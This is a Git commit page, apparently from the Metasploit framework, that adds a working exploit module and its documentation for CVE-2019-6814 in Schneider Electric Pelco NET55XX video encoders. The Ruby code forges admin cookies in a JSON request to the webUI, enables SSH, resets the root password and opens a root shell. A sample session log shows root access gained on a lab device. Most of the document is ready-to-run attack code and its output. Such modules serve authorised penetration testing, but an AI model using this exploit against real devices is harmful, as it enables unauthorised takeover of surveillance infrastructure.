Land #12084, Add Schneider Encoder Exploit
This commit is contained in:
@@ -0,0 +1,47 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Schneider Electric Pelco NET55XX Encoder (CVE 2019-6814)
|
||||
|
||||
Adding Schneider Electric Pelco NET55XX module affecting NET55XX versions (NET5501, NET5501-I, NET5501-XT, NET5504, NET5500,NET5516,NET550).
|
||||
This module exploits an inadequate access control vulnerability creating a malicious JSON request to the `webUI` encoder, thus allowing the SSH service to be enabled and changing the root password.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http/schneider_electric_net55xx_encoder`
|
||||
- [ ] `set RHOSTS [rhosts]`
|
||||
- [ ] `set RPORT [rport]`
|
||||
- [ ] `set NEW_PASSWORD [new password]`
|
||||
- [ ] `exploit`
|
||||
- [ ] Verify you get a root shell
|
||||
|
||||
## Options
|
||||
|
||||
This module can be as simple as setting the `RHOST` and `NEW_PASSWORD` option, and you're ready to go.
|
||||
|
||||
**NEW_PASSWORD**
|
||||
|
||||
You should set a new SSH password to the vulnerable device.
|
||||
|
||||
## Scenarios
|
||||
|
||||
**Schneider Electric Pelco Encoder NET5501-XT**
|
||||
|
||||
msf5 exploit(unix/http/schneider_electric_net55xx_encoder) > set RHOSTS 192.168.34.2
|
||||
RHOSTS => 192.168.34.2
|
||||
msf5 exploit(unix/http/schneider_electric_net55xx_encoder) > set RPORT 80
|
||||
RPORT => 80
|
||||
msf5 exploit(unix/http/schneider_electric_net55xx_encoder) > set NEW_PASSWORD msfrapid7
|
||||
NEW_PASSWORD => msfrapid7
|
||||
msf5 exploit(unix/http/schneider_electric_net55xx_encoder) > run
|
||||
|
||||
[] 192.168.34.2:22 - Attempt to start a SSH connection...
|
||||
[] 192.168.34.2:80 - Attempt to change the root password...
|
||||
[+] 192.168.34.2:80 - Successfully changed the root password...
|
||||
[+] 192.168.34.2:22 - Session established
|
||||
[] Found shell.
|
||||
[] Command shell session 1 opened (192.168.34.3:37033 -> 192.168.34.2:22) at 2019-07-03 10:57:07 -0400
|
||||
|
||||
uname -a;id
|
||||
Linux NET5501-XT-K61200103 2.6.37 #1 PREEMPT Fri Aug 8 04:33:08 KST 2014 armv7l unknown
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
@@ -0,0 +1,160 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Udp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::SSH
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Schneider Electric Pelco Endura NET55XX Encoder",
|
||||
'Description' => %q(
|
||||
This module exploits inadequate access controls within the webUI to enable
|
||||
the SSH service and change the root password. This module has been tested successfully
|
||||
on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Lucas Dinucci <idntk.lucdin@gmail.com>',
|
||||
'Vitor Esperança <vitor@machiaveliclabs.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2019-6814'],
|
||||
['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find'
|
||||
}
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [ [ "Universal", {} ] ],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => "Jan 25 2019",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]),
|
||||
OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10])
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]),
|
||||
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
||||
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def new_password
|
||||
datastore['NEW_PASSWORD']
|
||||
end
|
||||
|
||||
def check
|
||||
xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\
|
||||
'<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\
|
||||
'<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\
|
||||
'<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\
|
||||
'<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\
|
||||
'<a:ReplyTo>'\
|
||||
'<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\
|
||||
'</a:ReplyTo>'\
|
||||
'<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\
|
||||
'</Header>'\
|
||||
'<Body>'\
|
||||
'<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\
|
||||
'<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\
|
||||
'</Probe>'\
|
||||
'</Body>'\
|
||||
'</Envelope><?xml version="1.0" encoding="UTF-8"?>'
|
||||
|
||||
connect_udp(true, {'RPORT' => datastore['UDP_PORT']})
|
||||
udp_sock.put(xmlPayload)
|
||||
resp = []
|
||||
resp << udp_sock.get(datastore['TIMEOUT'])
|
||||
xmlResponse = resp.join(',')
|
||||
disconnect_udp
|
||||
if xmlResponse.include?("NET5501") || xmlResponse.include?("NET5501-I") || xmlResponse.include?("NET5501-XT") || xmlResponse.include?("NET5504") || xmlResponse.include?("NET5500") || xmlResponse.include?("NET5516") || xmlResponse.include?("NET5508")
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def change_password
|
||||
print_status("#{peer} - Attempt to change the root password...")
|
||||
post = {"enable": true, "passwd": new_password, "userid": "root"}.to_json
|
||||
|
||||
login = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'),
|
||||
'data' => post,
|
||||
'headers' =>
|
||||
{
|
||||
'Cookie' => 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647',
|
||||
'Content-Type' => 'application/json;charset=utf-8'
|
||||
}
|
||||
}, timeout=datastore['TIMEOUT'])
|
||||
|
||||
fail_with(Failure::UnexpectedReply, "Failed to change root password") unless login && login.code == 200
|
||||
print_good("#{rhost}:80 - Successfully changed the root password...")
|
||||
print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}")
|
||||
end
|
||||
|
||||
def do_login
|
||||
change_password
|
||||
print_status("#{rhost}:22 - Attempt to start a SSH connection...")
|
||||
factory = ssh_socket_factory
|
||||
opts = {
|
||||
:auth_methods => ['password', 'keyboard-interactive'],
|
||||
:port => 22,
|
||||
:use_agent => false,
|
||||
:config => true,
|
||||
:password => new_password,
|
||||
:proxy => factory,
|
||||
:non_interactive => true,
|
||||
:verify_host_key => :never
|
||||
}
|
||||
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||
begin
|
||||
ssh = nil
|
||||
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||
ssh = Net::SSH.start(datastore['RHOST'], 'root', opts)
|
||||
end
|
||||
rescue Rex::ConnectionError
|
||||
rescue Net::SSH::Disconnect, ::EOFError
|
||||
print_error "#{rhost}:22 SSH - Disconnected during negotiation"
|
||||
rescue ::Timeout::Error
|
||||
print_error "#{rhost}:22 SSH - Timed out during negotiation"
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
print_error "#{rhost}:22 SSH - Failed authentication"
|
||||
rescue Net::SSH::Exception => e
|
||||
print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}"
|
||||
end
|
||||
if ssh
|
||||
conn = Net::SSH::CommandStream.new(ssh)
|
||||
return conn
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
conn = do_login
|
||||
if conn
|
||||
print_good("#{rhost}:22 - Session established ")
|
||||
handler(conn.lsock)
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user